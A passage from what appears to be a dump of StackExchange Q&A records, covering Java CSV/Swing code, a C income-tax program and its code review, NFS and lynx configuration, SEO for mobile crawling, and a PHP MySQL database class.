ArrayList<Product>(supplierProductList.get(supplier)); } return null; }}This is the CSVFileController class. This is used to update the model and the files based on user interaction with the view.public class CSVFileController { private Model model; private BufferedReader reader; private BufferedWriter writer; private String line; public CSVFileController(Model model) { this.model = model; this.reader = null; this.writer = null; this.line = ; updateModel(); } public void updateModel() { List<Supplier> suppliers = new ArrayList<Supplier>(); try { reader = new BufferedReader(new FileReader(Suppliers.csv)); while ((line = reader.readLine()) != null) { String[] dataArray = line.split(,); suppliers.add(new Supplier(dataArray[0], Integer .parseInt(dataArray[1]))); } for (Supplier supplier : suppliers) { List<Product> productList = new ArrayList<Product>(); reader = new BufferedReader(new FileReader(supplier.getName() + .csv)); while ((line = reader.readLine()) != null) { String[] dataArray = line.split(,); if (dataArray.length == 6) { productList.add(new Product(supplier, dataArray[0], dataArray[1], Integer.parseInt(dataArray[2]), Integer.parseInt(dataArray[3]), Double .parseDouble(dataArray[4]), Integer .parseInt(dataArray[5]))); } else { List<String> categories = new ArrayList<String>(); for (int x = 6; x < dataArray.length; x++) { categories.add(dataArray[x]); } productList.add(new Product(supplier, dataArray[0], dataArray[1], Integer.parseInt(dataArray[2]), Integer.parseInt(dataArray[3]), Double .parseDouble(dataArray[4]), Integer .parseInt(dataArray[5]), categories)); } } model.addProductList(supplier, productList); } } catch (FileNotFoundException e) { e.printStackTrace(); } catch (IOException e) { e.printStackTrace(); } finally { closeReader(reader); } } public void adjustProductCategories(Product product) { List<Product> supplierProductList = model.getProducts(product .getSupplier().getName()); try { writer = new BufferedWriter(new FileWriter(product.getSupplier() .getName() + .csv)); for (ListIterator<Product> iterator = supplierProductList .listIterator(); iterator.hasNext();) { Product prod = iterator.next(); if (prod.getId() == product.getId()) { iterator.remove(); iterator.add(product); model.addProductList(product.getSupplier(), supplierProductList); } writer.write(prod.toString()); writer.newLine(); } } catch (IOException ex) { ex.printStackTrace(); } finally { closeWriter(writer); } } public void closeWriter(BufferedWriter bw) { try { if (bw != null) { bw.close(); } } catch (IOException e) { e.printStackTrace(); } } public void closeReader(BufferedReader br) { try { if (br != null) { br.close(); } } catch (IOException e) { e.printStackTrace(); } }}This is the controller for the KeywordPanel: public class KeywordPanelController { public static class RemoveAction extends TextAction { private CSVFileController controller; private Product product; public RemoveAction(String name, CSVFileController controller, Product product) { super(name); this.controller = controller; this.product = product; } @Override public void actionPerformed(ActionEvent e) { JTextComponent textField = (JTextField) getFocusedComponent(); if (!textField.isEditable()) { product.getCategories().remove(textField.getText().trim()); product.setCategories(product.getCategories()); controller.adjustProductCategories(product); textField.setText(); textField.setEditable(true); } } } public static class TextFieldMouseAdapter extends MouseAdapter { private JTextField textField; public TextFieldMouseAdapter(JTextField textField) { this.textField = textField; } @Override public void mouseClicked(MouseEvent evt) { textField.setSelectionColor(new Color(142, 15, 6)); textField.setSelectedTextColor(new Color(255, 255, 255)); textField.setSelectionStart(0); textField.setSelectionEnd(textField.getText().trim().length()); } } public static class SaveAndCloseAction extends AbstractAction { private JTextField[] textFields; private Product product; private CSVFileController controller; private Dialog dialog; public SaveAndCloseAction(String name, CSVFileController controller, Dialog dialog, Product product, JTextField[] textFields) { super(name); this.controller = controller; this.textFields = textFields; this.product = product; this.dialog = dialog; } @Override public void actionPerformed(ActionEvent e) { List<String> categories = new ArrayList<String>(); for (JTextField textField : textFields) { if (new ValidateString().validate(textField.getText().trim())) { categories.add(textField.getText().trim()); } } product.setCategories(categories); controller.adjustProductCategories(product); dialog.getDialog().dispose(); } }}The Product class which is a POJO. I'm not entirely sure if this should be considered a model class or not.public class Product { private Supplier supplier; private List<String> categoryList; private int minQty, qtyOnHand, orderQty; private double cost; private String productDescription, id; public Product(Supplier supplier, String id, String productDescription, int qtyOnHand, int minQty, double cost, int orderQty, List<String> categories) { this.supplier = supplier; this.qtyOnHand = qtyOnHand; this.orderQty = orderQty; this.id = id; this.minQty = minQty; this.cost = cost; this.productDescription = productDescription; this.categoryList = categories; } public Product(Supplier supplier, String id, String productDescription, int qtyOnHand, int minQty, double cost, int orderQty) { this.supplier = supplier; this.qtyOnHand = qtyOnHand; this.orderQty = orderQty; this.id = id; this.minQty = minQty; this.cost = cost; this.productDescription = productDescription; } public Product(String id, String productDescription, int qtyOnHand, int minQty, double cost, int orderQty) { this.qtyOnHand = qtyOnHand; this.orderQty = orderQty; this.id = id; this.minQty = minQty; this.cost = cost; this.productDescription = productDescription; } public int getQtyOnHand() { return qtyOnHand; } public void setQtyOnHand(int qtyOnHand) { this.qtyOnHand = qtyOnHand; } public int getOrderQty() { return orderQty; } public void setOrderQty(int orderQty) { this.orderQty = orderQty; } public String getId() { return id; } public void setId(String id) { this.id = id; } public double getCost() { return cost; } public void setCost(double cost) { this.cost = cost; } public String getProductDescription() { return productDescription; } public void setProductDescription(String productDescription) { this.productDescription = productDescription; } public int getMinQty() { return minQty; } public void setMinQty(int minQty) { this.minQty = minQty; } public List<String> getCategories() { return categoryList; } public void setCategories(List<String> categories) { this.categoryList = categories; } public Supplier getSupplier() { return supplier; } public void setSupplier(Supplier supplier) { this.supplier = supplier; } public boolean isCategorized() { if (categoryList == null) { return false; } else { return true; } } @Override public String toString() { StringBuilder builder = new StringBuilder(); builder.append(id).append(,).append(productDescription).append(,) .append(qtyOnHand).append(,).append(minQty).append(,) .append(cost).append(,).append(orderQty); if (isCategorized()) { for (String category : categoryList) { builder.append(,).append(category); } } return builder.toString(); }}" , "title": "CSV File Reader Project" , "tags": "java;mvc;swing;csv" } { "id": "_reverseengineering.15140" , "question": "My problem is: hexrays thinks that semicolon is visible character. In IDAPython idaapi.is_visible_char(';') returns TrueIn picture you can see field_100C; highlighted, but field_100C not highlighted.In ida.cfg I have following NameChars (this is ARM LE):NameChars = _0123456789 ABCDEFGHIJKLMNOPQRSTUVWXYZ abcdefghijklmnopqrstuvwxyz; In any other NameChars array semicolon is not added.So, how can this behaviour get fixed? Is there idapython call of some sorts? Can plugins be a reason for this? Is there GUI option to check?Found this, but it didnt helphttps://www.hex-rays.com/products/ida/support/sdkdoc/name_8hpp.html" , "title": "Incorrect semicolon usage in decompiled variables" , "tags": "ida;idapro plugins" , "accepted_answer": "Still don't know what was the root of the problem, but PC restart helped...';' stopped magically appearing in NameChars array." } { "id": "_unix.291086" , "question": "I have a lynx configuration file in ~/.lynx.cfg.To make lynx use it, I have in my environment $LYNX_CFG pointing at that file.Content:# DefaultCOLOR:0:black:white# HyperlinksCOLOR:1:black:white# Status LineCOLOR:2:black:white# EmphasisCOLOR:4:black:white# Hyperlink in emCOLOR:5:black:white# Selected hyperlinkCOLOR:6:black:black# SearchCOLOR:7:black:whiteJUSTIFY:TRUEThe JUSTIFY:TRUE line is correctly applied, but never the COLOR:*:I'm on OS X Yosemity, in Tmux, using Iterm2, and the lynx version is:Lynx Version 2.8.8rel.2 (09 Mar 2014)libwww-FM 2.14, SSL-MM 1.4.1, OpenSSL 1.0.2h, ncurses 5.7.20081102What could cause the issue?" , "title": "Lynx colors not applied" , "tags": "colors;lynx" } { "id": "_bioinformatics.842" , "question": "I'm currently attempting association analysis with an extremely small set of patient exomes (n=10), with no control or parental exomes available. Downloading the ExAC VCF of variant sites (http://exac.broadinstitute.org/downloads) or the 1000G integrated call sets (http://ftp.1000genomes.ebi.ac.uk/) and combining this with our pooled patient VCFs has not been successful (I suspect the approach of attempting to merge such large VCFs generated from different pipelines is rather naive).Looking at the primary literature, I have gathered it should be possible to use these resources to help increase statistical power for our analysis. My question is how do I take these large .vcfs with many samples and successfully merge them to our patient .vcfs, such that the combined VCF can be used downstream to run analysis packages? (PODKAT, PLINK, etc.)" , "title": "What is a good pipeline for using public domain exomes as controls?" , "tags": "public databases;variants;sequencing;exome" } { "id": "_datascience.20510" , "question": "I am implementing a module which finds based on user interactions on an online portal to find which attributes of a certain product and what values for those products influence the buyer to choose the said Item.My employers have suggested me to use Genetic Algorithm to achieve this. I have started implementing and found even the initial population generation to be a bit ineffective. Before I go further with this I would like your thoughts whether 'Genetic Algorithm' is the right way or is there a better way to go about this.For me each genome is a list of attributes and their corresponding values. Eg. genome 1: Color: Black, Material: wool, thread count:5 genome 2: Color: white, Handwash: yes, Dry clean only: NoIts a mixture of different attributes and their values. Am I going about this the wrong way? " , "title": "How effective is Genetic Algorithm for finding Attribute-Value relationships" , "tags": "data mining;genetic algorithms" } { "id": "_unix.160295" , "question": "I'm trying to build an NFS server on my Raspberry Pi which will be writable by any server on the network. The NFS share is a directory on an external device mounted at boot:$ cat /etc/fstabproc /proc proc defaults 0 0/dev/mmcblk0p1 /boot vfat defaults 0 2/dev/mmcblk0p2 / ext4 defaults,noatime 0 1# This is my external device/dev/sda1 /data ext4 defaults,nofail 0 2I configured my /etc/exports as follows:$ cat /etc/exports /data *(rw,sync,all_squash,no_subtree_check,anonuid=1000,anongid=1000)/data/share *(rw,sync,all_squash,no_subtree_check,anonuid=1000,anongid=1000)The User ID and Group ID of 1000 is the pi user and pi group, which owns both /data and /data/share:$ ls -la /datatotal 28drwxrwxrwx 4 pi pi 4096 Sep 30 08:41 .drwxr-xr-x 23 root root 4096 Oct 9 15:54 ..drwx------ 2 pi pi 16384 Sep 25 14:57 lost+founddrwxrwxrwx 2 pi pi 4096 Sep 30 08:41 shareWhen I try to mount the share from my Mac, I get the following error:$ mount 192.168.101.10:/data tmpmount_nfs: can't mount /data from 192.168.101.10 onto /Users/davejlong/Downloads/tmp: Operation not permittedHere is the output of exportfs -v$ sudo exportfs -v/data <world>(rw,wdelay,root_squash,all_squash,no_subtree_check,anonuid=1000,anongid=1000)/data/share <world>(rw,wdelay,root_squash,all_squash,no_subtree_check,anonuid=1000,anongid=1000)I'm not sure what I'm doing wrong with my configuration." , "title": "Building NFS Server to be world writable" , "tags": "nfs;raspberry pi;raspbian" } { "id": "_webapps.30193" , "question": "I joined many groups on LinkedIn, and I visit most of them daily.The groups sends me a summary of their posts daily, I know there's an option to turn them off, but I can't find it. Can anyone help me in that?" , "title": "Turning off Group emails" , "tags": "linkedin;linkedin groups" , "accepted_answer": "Found any easier way to do this. Hover your mouse pointer over your name at top right corner click on settings Login again Click on Group, Companies and Applications tab Click on Set the frequency of group digest emailsSelect the options for each of your groupClick Save ChangesThanks Alex for the help too." } { "id": "_codereview.42387" , "question": "I have my program working. I just need to redo it a little bit, and it could use some improvements.I got different % rates depending on what the income and status is.#include <stdio.h>#include <conio.h>#include <stdlib.h>#include <cstdio>//functions calledfloat wages_loop();float other_loop();float interest_loop();float dividends_loop();int dependatnts_loop();void check_status();float get_total_income(float wage, float div, float intre, float other, int dep);int single_total = 0;int mj_total = 0;int ms_total = 0;int sh_total = 0;//start main int main(void){ char another[10]; char buffer[80][90]; float wages, other_income, interest, dividends, income_tax; int dependents; printf(Would you like to start: ); gets_s(another); if (another[0] != 'y' && another[0] != 'n') { while (another[0] != 'y' && another[0] != 'n') { printf(\\n\\n INCORRECT ANSWER. \\n\\n); printf(\\n Would you like to start. (y or n)); gets_s(another); } } while (another[0] == 'y') { //add all info together. wages = wages_loop(); other_income = other_loop(); interest = interest_loop(); dividends = dividends_loop(); //enter dependats dependents = dependatnts_loop(); //function to indicate the status and other things. income_tax = get_total_income(wages, other_income, dividends, interest, dependents); if (income_tax < 0) { printf(\\n\\n\\t\\t Your income tax RETURN is: %.2f \\n, income_tax); } else if (income_tax >= 0) { printf(\\n\\n\\t\\t Your income tax OWED is: %.2f \\n, income_tax); } printf(Would you like to do anoter: ); gets_s(another); if (another[0] != 'y' && another[0] != 'n') { while (another[0] != 'y' && another[0] != 'n') { printf(\\n\\n INCORRECT ANSWER. \\n\\n); printf(\\n Would you like anoter. (y or n)); gets_s(another); }//end if } } //end loop printf(\\n\\n\\t\\t\\t Number of Singles filleing: %i \\n, single_total); printf(\\n\\n\\t\\t\\t Number of Married Filing Jointly: %i \\n, mj_total); printf(\\n\\n\\t\\t\\t Number of Married Filing Separately: %i \\n, ms_total); printf(\\n\\n\\t\\t\\t Number of Single Head of Household filleing: %i \\n, sh_total); system(pause); return 0;}//end mainfloat wages_loop(){ char again[10]; char buffer[80]; float wages, total_wages = 0; printf(\\n How much in Wages. ); gets_s(buffer); wages = atof(buffer); total_wages = wages + total_wages; printf(\\n Do you have any more wages. (y or n)); gets_s(again); if (again[0] != 'y' && again[0] != 'n') { while (again[0] != 'y' && again[0] != 'n') { printf(\\n\\n INCORRECT ANSWER. \\n\\n); printf(\\n Do you have any more wages. (y or n)); gets_s(again); } } while (again[0] == 'y') { printf(\\n Enter Wages: ); gets_s(buffer); wages = atof(buffer); total_wages = wages + total_wages; printf(\\n Do you have any more wages. ); gets_s(again); } return total_wages;}//end wage_loopfloat other_loop(){ char again[10]; char buffer[80]; float other_income, total_other_income = 0; printf(\\n How much in other income. ); gets_s(buffer); other_income = atof(buffer); total_other_income = other_income + total_other_income; printf(\\n Do you have any more other income. (y or n)); gets_s(again); if (again[0] != 'y' && again[0] != 'n') { while (again[0] != 'y' && again[0] != 'n') { printf(\\n\\n INCORRECT ANSWER. \\n\\n); printf(\\n Do you have any more other income. (y or n)); gets_s(again); } } while (again[0] == 'y') { printf(\\n Enter other income: ); gets_s(buffer); other_income = atof(buffer); total_other_income = other_income + total_other_income; printf(\\n Do you have any more other income. ); gets_s(again); } return total_other_income;}float interest_loop(){ char again[10]; char buffer[80]; float interest, total_interest = 0; printf(\\n How much in interest. ); gets_s(buffer); interest = atof(buffer); total_interest = interest + total_interest; printf(\\n Do you have any more interest. (y or n)); gets_s(again); if (again[0] != 'y' && again[0] != 'n') { while (again[0] != 'y' && again[0] != 'n') { printf(\\n\\n INCORRECT ANSWER. \\n\\n); printf(\\n Do you have any more interest. (y or n)); gets_s(again); } } while (again[0] == 'y') { printf(\\n Enter interest: ); gets_s(buffer); interest = atof(buffer); total_interest = interest + total_interest; printf(\\n Do you have any more interest. ); gets_s(again); } return total_interest;}float dividends_loop(){ char again[10]; char buffer[80]; float dividends, total_dividends = 0; printf(\\n How much in dividends. ); gets_s(buffer); dividends = atof(buffer); total_dividends = dividends + total_dividends; printf(\\n Do you have any more dividends. (y or n)); gets_s(again); if (again[0] != 'y' && again[0] != 'n') { while (again[0] != 'y' && again[0] != 'n') { printf(\\n\\n INCORRECT ANSWER. \\n\\n); printf(\\n Do you have any more dividends. (y or n)); gets_s(again); } } while (again[0] == 'y') { printf(\\n Enter dividends: ); gets_s(buffer); dividends = atof(buffer); total_dividends = dividends + total_dividends; printf(\\n Do you have any more dividends. ); gets_s(again); } return total_dividends;}//end dividends_loop//dependantsint dependatnts_loop(){ char again[10]; char buffer[80]; int dependants, total_dependants = 0; printf(\\n How much in dependants. ); gets_s(buffer); dependants = atof(buffer); total_dependants = dependants + total_dependants; printf(\\n Do you have any more dependants. (y or n)); gets_s(again); if (again[0] != 'y' && again[0] != 'n') { while (again[0] != 'y' && again[0] != 'n') { printf(\\n\\n INCORRECT ANSWER. \\n\\n); printf(\\n Do you have any more dependants. (y or n)); gets_s(again); } } while (again[0] == 'y') { printf(\\n Enter dependants: ); gets_s(buffer); dependants = atof(buffer); total_dependants = dependants + total_dependants; printf(\\n Do you have any more dependants. ); gets_s(again); } total_dependants = total_dependants * 2800; return total_dependants;}void check_status(){ char status[10]; int check = 0; while (check != 1) { printf(What is your Status: ); gets_s(status); if (status[0] == 'S' && status[1] == 'H') { printf(\\n\\n CORRECT ANSWER. SH \\n\\n); single_total = single_total + 1; check = 1; } else if (status[0] == 'S' && status[1] == '\\0') { printf(\\n\\n CORRECT ANSWER. S \\n\\n); single_total = single_total + 1; check = 1; } else if (status[0] == 'M' && status[1] == 'J') { printf(\\n\\n CORRECT ANSWER. MJ \\n\\n); mj_total = mj_total + 1; check = 1; } else if (status[0] == 'M' && status[1] == 'S') { printf(\\n\\n CORRECT ANSWER. MS \\n\\n); ms_total = ms_total + 1; check = 1; } else { printf(\\n\\n INCORRECT NSWER. noting \\n\\n); } } }float get_total_income(float wage, float div, float intre, float other, int dep){ char status[10]; float income = 0, sum = 0, adjusted_income = 0; int check = 0; sum = wage + div + intre + other; income = sum - dep; while (check != 1) { printf(\\n\\nWhat is your Status: ); gets_s(status); if (status[0] == 'S' && status[1] == 'H') { sh_total = sh_total + 1; check = 1; if (income <= 6000) { adjusted_income = income * 0.0; } else if (income > 6000 && income <= 9000) { adjusted_income = income * .038; } else if (income > 9000 && income <= 15000) { adjusted_income = income * .074; } else if (income > 15000 && income <= 21000) { adjusted_income = income * .110; } else if (income > 21000 && income <= 25000) { adjusted_income = income * .138; } else if (income > 25000 && income <= 30000) { adjusted_income = income * .154; } else if (income > 30000) { adjusted_income = income * .35; } else { printf(\\n\\n INCORRECT ANSWER. CODE IS WRONG. \\n\\n); } } else if (status[0] == 'S' && status[1] == '\\0') { single_total = single_total + 1; check = 1; if (income <= 6000) { adjusted_income = income * .028; } else if (income > 6000 && income <= 9000) { adjusted_income = income * .075; } else if (income > 9000 && income <= 15000) { adjusted_income = income * .096; } else if (income > 15000 && income <= 21000) { adjusted_income = income * .135; } else if (income > 21000 && income <= 25000) { adjusted_income = income * .155; } else if (income > 25000 && income <= 30000) { adjusted_income = income * .174; } else if (income > 30000) { adjusted_income = income * .35; } else { printf(\\n\\n INCORRECT ANSWER. CODE IS WRONG. \\n\\n); } } else if (status[0] == 'M' && status[1] == 'J') { mj_total = mj_total + 1; check = 1; if (income <= 6000) { adjusted_income = income * 0.0; } else if (income > 6000 && income <= 9000) { adjusted_income = income * .052; } else if (income > 9000 && income <= 15000) { adjusted_income = income * .083; } else if (income > 15000 && income <= 21000) { adjusted_income = income * .122; } else if (income > 21000 && income <= 25000) { adjusted_income = income * .146; } else if (income > 25000 && income <= 30000) { adjusted_income = income * .163; } else if (income > 30000) { adjusted_income = income * .35; } else { printf(\\n\\n INCORRECT ANSWER. CODE IS WRONG. \\n\\n); } } else if (status[0] == 'M' && status[1] == 'S') { ms_total = ms_total + 1; check = 1; if (income <= 6000) { adjusted_income = income * .023; } else if (income > 6000 && income <= 9000) { adjusted_income = income * .072; } else if (income > 9000 && income <= 15000) { adjusted_income = income * .089; } else if (income > 15000 && income <= 21000) { adjusted_income = income * .131; } else if (income > 21000 && income <= 25000) { adjusted_income = income * .152; } else if (income > 25000 && income <= 30000) { adjusted_income = income * .172; } else if (income > 30000) { adjusted_income = income * .35; } else { printf(\\n\\n INCORRECT ANSWER. CODE IS WRONG. \\n\\n); } } else { printf(\\n\\n INCORRECT STATUS. Enter (S, MJ, MS, or SH) \\n\\n); } } printf(\\n\\n\\n\\t YOUR WAGES: %.2f, wage); printf(\\n\\t YOUR OTHER INCOME: %.2f, other); printf(\\n\\t YOUR DIVIDENS: %.2f, div); printf(\\n\\t YOUR INTEREST: %.2f, intre); printf(\\n\\t YOUR INCOME AFTER DEPENDANTS: %.2f, income); return adjusted_income;}" , "title": "Total income program" , "tags": "c" , "accepted_answer": "Things you did well:You used the function gets_s, which is a C11 function. Not many people use this standard yet because it is newer. I was surprised to see it in your code.Your organization of the prototype functions is good.You initialize your variables as soon as you create them in some areas.Things you could improve:There is a lot that could be improved in this code, so I doubt I will be able to mention them all.PreprocessorYou include both <stdio.h> and <cstdio>.#include <stdio.h>#include <conio.h>#include <stdlib.h>#include <cstdio>I couldn't get the code to compile as C code with the #include <cstdio> in there, so it should be removed.User-experienceYou ask the user if he is ready to start.printf(Would you like to start: );gets_s(another);if (another[0] != 'y' && another[0] != 'n'){ while (another[0] != 'y' && another[0] != 'n') { printf(\\n\\n INCORRECT ANSWER. \\n\\n); printf(\\n Would you like to start. (y or n)); gets_s(another); }}The user initiated your program for a reason. Asking him if he would like start is useless, and can be frustrating to a user. To add onto the annoyance, you then tell the user that his input is incorrect, if he doesn't input 'y', and you then loop the question. I would remove the whole thing.LogicSome of your logic can be simplified.if (status[0] == 'S' && status[1] == 'H'){ printf(\\n\\n CORRECT ANSWER. SH \\n\\n); single_total = single_total + 1; check = 1;}else if (status[0] == 'S' && status[1] == '\\0'){ printf(\\n\\n CORRECT ANSWER. S \\n\\n); single_total = single_total + 1; check = 1;}Both times you are checking if status[0] == 'S', so use that as the master if test condition. Use the other tests as children tests.if (status[0] == 'S'){ if (status[1] == 'H') puts(Correct answer: SH); if (status[1] == '\\0') puts(Correct answer: S); single_total = single_total + 1; check = 1;}Pull out the code that the original test conditions had in common to the master condition, and you have a refined test condition statement!You sometimes have logic that will print out to the console that the logic in the code is wrong.else{ printf(\\n\\n INCORRECT ANSWER. CODE IS WRONG. \\n\\n);}I would use assert() instead. If this expression evaluates to 0, this causes an assertion failure that terminates the program. Also, assertions are the right mechanism to use, since those positions in the code would only be reachable due to programmer error, not due to unanticipated runtime conditions.else{ assert(income > 30000); adjusted_income = income * .35;}VariablesYou have a lot of magic numbers in your code. if (income <= 6000){ adjusted_income = income * 0.0;}else if (income > 6000 && income <= 9000){ adjusted_income = income * .038;}else if (income > 9000 && income <= 15000){ adjusted_income = income * .074;}else if (income > 15000 && income <= 21000){ adjusted_income = income * .110;}else if (income > 21000 && income <= 25000){ adjusted_income = income * .138;}else if (income > 25000 && income <= 30000){ adjusted_income = income * .154;}else if (income > 30000){ adjusted_income = income * .35;}You should extract all of those numbers to variables in case you have to change them later. Then you only have to change one number in one place, instead of changing the number in multiple different places. What if you missed a place?Your variable char buffer[80][90] is unused and should be removed.It's generally good practice to initialize all of your non-static variables when possible.Don't use global variables.int single_total = 0;int mj_total = 0;int ms_total = 0;int sh_total = 0;The problem with global variables is that since every function has access to these, it becomes increasingly hard to figure out which functions actually read and write these variables.If you don't rely on global variables, you can pass state around between different functions as needed. That way you stand a much better chance of understanding what each function does, as you don't need to take the global state into account.SyntaxYou use too much space when printing to the console. Also, use puts() instead of printf() in some cases where you are not actually formatting the string but just printing it with a newline character at the end.mj_total = mj_total + 1 can be simplified to mj_total += 1.InputYour code can't handle the input of a string properly.How much in other income. tenIt should tell the user that it is unacceptable input and ask for re-entry of the data.Your program can't handle the input of a malformed string properly.How much in other income. 107tIt should tell the user that it is unacceptable input and ask for re-entry of the data.Your program can't handle the input of a \\n (new-line) character (pressing enter).How much in other income. <enter>It should tell the user that it is unacceptable input and ask for re-entry of the data.Your program is very unforgiving when asking the status of the user. printf(\\n\\nWhat is your Status: );gets_s(status);If you input a lower-case character, it won't be accepted. Use the toupper() function on your input character to fix this. You have this same issue when asking the user if he has more wages, dividends, etc.printf(\\n Would you like anoter. (y or n));gets(another);Here you might want to use the tolower() function." } { "id": "_webmaster.86773" , "question": "Identical desktop and mobile URLs, no subdomain or sub-folder:Desktop URLsite-name.com<link rel=canonical href=index.php?/...>Mobile URLsite-name.com<link rel=canonical href=index.php?/...>Mobile UsabilityTouch elements too close 307Content not sized to viewport 306Small font size 170Viewport not configured 170Accessed last time: 7days agoWhat googlebot-mobile does is crawl:http://site-name.com/index.php?/.../&mobile=falseLast time: 7days agoRobots.txt:Disallow: *&mobile=falsechanges were made around 3-4 months agoWhich is a link on the mobile layout to force-switch visitors to the desktop version.All the above mobile usability issues are from the desktop version, which will obviously get all those issues.The mobile theme is live since end of March, just a little bit before the new mobile ranking rules came out.I blocked it with the robots.txt, because it created duplicate content on the desktop as well (which I now read, is not the best practice). That's why it is not just googlebot-mobile that is excluded.How do I tell googlebot-mobile to leave the desktop content alone? Should I use the URL Parameters to clear this little misunderstanding up?Thanks for any help here!" , "title": "Why does Googlebot-Mobile crawl desktop content?" , "tags": "seo;googlebot;mobile;googlebot mobile" , "accepted_answer": "Looking at your setup...Identical desktop and mobile URLs, no subdomain or sub-folder:Desktop URLsite-name.com<link rel=canonical href=index.php?/...>Mobile URLsite-name.com<link rel=canonical href=index.php?/...>I see an issue. you're confusing the heck out of google. you need to create an association between desktop and mobile site, not indicate that neither is original.Here's what you doWhat you need on your desktop pages is the following between <head> and </head><link rel=alternate media=only screen and (max-width: 111px) href=http://mobilesite.example.com>...but change the 111 in 111px to the maximum number of pixels the remote device connecting your site should have for you to recommend the mobile site. Change http://mobilesite.example.com to the full URL to the mobile equivalent of the page you put the above HTML code on.Then on the mobile version, you use:Of course change http://desktop.example.com to the full URL of the desktop equivalent site.Once you do that, configure your server so mobile devices automatically are redirected to the mobile version of your site, then you can test the desktop version of the page in page-speed insights.Mobile Usability Touch elements too close 307Content not sized to viewport 306Small font size 170Viewport not configured 170If you're getting a host of errors like this, then include this between <head> and </head> on all mobile pages:<meta name=viewport content=width=device-width,initial-scale=1>That will set the window to the actual mobile device size. then when you get errors about things that are too wide, you'll know the width limit.How do I tell googlebot-mobile to leave the desktop content alone?Earlier, you mentioned ...Which is a link on the mobile layout to force-switch visitors to the desktop version.. Don't make links to incompatible pages too easy for robots with limited capabilities to access The problem is that the link is on at least one mobile page that anyone including googlebot can access.Since google doesn't touch post-based data, what I'd suggest is to create a special warning page telling users who insist on the desktop version what they really are getting into, and if they want to continue, then they can select a button that will take them in. This is an example of how to make the button:<form action=/path/to/url-to-desktop-switcher method=POST><input type=hidden name=mydata value=1><input type=submit value=switch></form>The reason why I suggest this is because when user clicks the button, the data is sent to the server via POST method, not the GET method, and bots normally don't click form buttons.I added a hidden form item so that data can be passed into the script when the button is selected. The good news is that the button can be styled, but the bad news is that the text in the button can't have too many characters or it will be too large for the mobile screen." } { "id": "_softwareengineering.203970" , "question": "I see that Java has Boolean (class) vs boolean (primitive). Likewise, there's an Integer (class) vs int (primitive). What's the best practice on when to use the primitive version vs the class? Should I basically always be using the class version unless I have a specific (performance?) reason not to? What's the most common, accepted way to use each?" , "title": "When to use primitive vs class in Java?" , "tags": "java;class;usage" } { "id": "_unix.10661" , "question": "I just got a new, strong ubuntu desktop. First time linux user.I'm trying the Run Application app ( Alt+F2 ), try Ch for Chrome, and the app thinks for 2-3 seconds before displaying the list of apps starting with ch. This is semi-consistent - some searches are a bit faster, then they're slower again afterwards. What's up with that?" , "title": "Why is Run Application (Alt-F2) very sluggish on a new computer?" , "tags": "ubuntu;gnome;run dialog" } { "id": "_scicomp.10766" , "question": "For a nonsingular lower or upper triangular square matrix $A$, how to solve such linear system in Eigen:$$A x = b$$" , "title": "How to use TrangularView class in Eigen C++" , "tags": "linear solver;c++;eigen" , "accepted_answer": "As documented here:x = A.triangularView<Upper>().solve(b);orx = A.triangularView<Lower>().solve(b);" } { "id": "_unix.134998" , "question": "This is not a What is best but a Is there any at all (and which)? question.A friend of mine wants to improve the handling of her customers' appointment wishes. The idea is that they can enter their suitable time spans on a web site and the application checks whether all of them (or: how many) can be combined.I am not familiar with this kind of optimization algorithm thus it would be much easier to use an existing tool than write one myself... Thus (if there is no such application) hints to resources about appropriate algorithms would be helpful." , "title": "Applications for handling appointment wishes" , "tags": "web" } { "id": "_webapps.3164" , "question": "Can I get a single feed combining all of my subscriptions out of Google Reader?I mean I'm subscribed to 80 something feeds in Reader, and I want to use that as a single feed in another app.Is that possible? If so how?" , "title": "Global RSS feed from Google Reader" , "tags": "google reader;rss" } { "id": "_hardwarecs.7585" , "question": "I'm building a custom NAS as a backup server for multiple laptops in my house. I'm planning on buying four 2TB mechanical SATA hard drives that will be run in RAID 1 (Hard drives: https://www.newegg.com/Product/Product.aspx?Item=N82E16822236342&ignorebbr=1)The drives will be going in this case here: https://www.newegg.com/Product/Product.aspx?Item=9SIA00Y50Z9087&ignorebbr=1The case has 4 SATA cable connectors that will be connected to a SATA cable to USB adapter and they will be connected to my logic boards USB ports. My question for all of you is what power supply would you recommend to power ONLY the hard drives. This power supply will not be powering my logic board. I want to make sure that I won't fry a hard drive, but I also want to make sure that the power supply has enough wattage for expansion in the future (should I need use bigger hard drives / SSDs). IMPORTANT POINTSThe hard drives must be powered by a power supply independent from my logic board. The hard drives SATA data cables must be connected to USB. Because the SATA data cables are not connected to the logic board, the power supply must provide at least 2 SATA Power Connector cables.I'm shooting in the ballpark of no more than $150. Note: I know this is a weird build and I understand the bottleneck of USB with SATA, but I want to see if this configuration is possible before completely buying all new hardware. Thanks in advance!" , "title": "2TB NAS HDD Power Supply Recommendations" , "tags": "hard disk;server;nas;sata" } { "id": "_codereview.67954" , "question": "This is a PHP database class. Yes, I know it's using the MySQL functions, which are deprecated, but I shall be updating it to MySQLi soon. Can you please review this code and give any comment on any improvements or changes you think I should make?<?phpnamespace Revolution;if(!defined('IN_INDEX')) { die('Sorry, you cannot access this file.'); }class engine{ private $initiated; private $connected; private $connection; final public function __construct() { $this->Initiate(); } final public function Initiate() { global $_CONFIG; if(!$this->initiated) { $this->setMySQL('connect', mysql_connect); $this->setMySQL('pconnect', mysql_pconnect); $this->setMysql('select_db', mysql_select_db); $this->setMySQL('query', mysql_query); $this->setMySQL('num_rows', mysql_num_rows); $this->setMySQL('fetch_assoc', mysql_fetch_assoc); $this->setMySQL('fetch_array',mysql_fetch_array); $this->setMySQL('result', mysql_result); $this->setMySQL('free_result', mysql_free_result); $this->setMySQL('escape_string', mysql_real_escape_string); $this->initiated = true; $this->connect($_CONFIG['mysql']['connection_type']); } }final public function setMySQL($key, $value){ $this->mysql[$key] = $value;}/*-------------------------------Manage Connection-------------------------------------*/final public function connect($type){ global $core, $_CONFIG; if(!$this->connected) { $this->connection = $this->mysql[$type]($_CONFIG['mysql']['hostname'], $_CONFIG['mysql']['username'], $_CONFIG['mysql']['password']); if($this->connection) { $mydatabase = $this->mysql['select_db']($_CONFIG['mysql']['database'], $this->connection); if($mydatabase) { $this->connected = true; } else { $core->systemError('MySQL Engine', 'MySQL could not connect to database'); } } else { $core->systemError('MySQL Engine', 'MySQL could not connect to host'); } }}final public function disconnect(){ global $core; if($this->connected) { if($this->mysql['close']) { $this->connected = false; } else { $core->systemError('MySQL Engine', 'MySQL could not disconnect.'); } }}/*-------------------------------Secure MySQL variables-------------------------------------*/final public function secure($var){ return 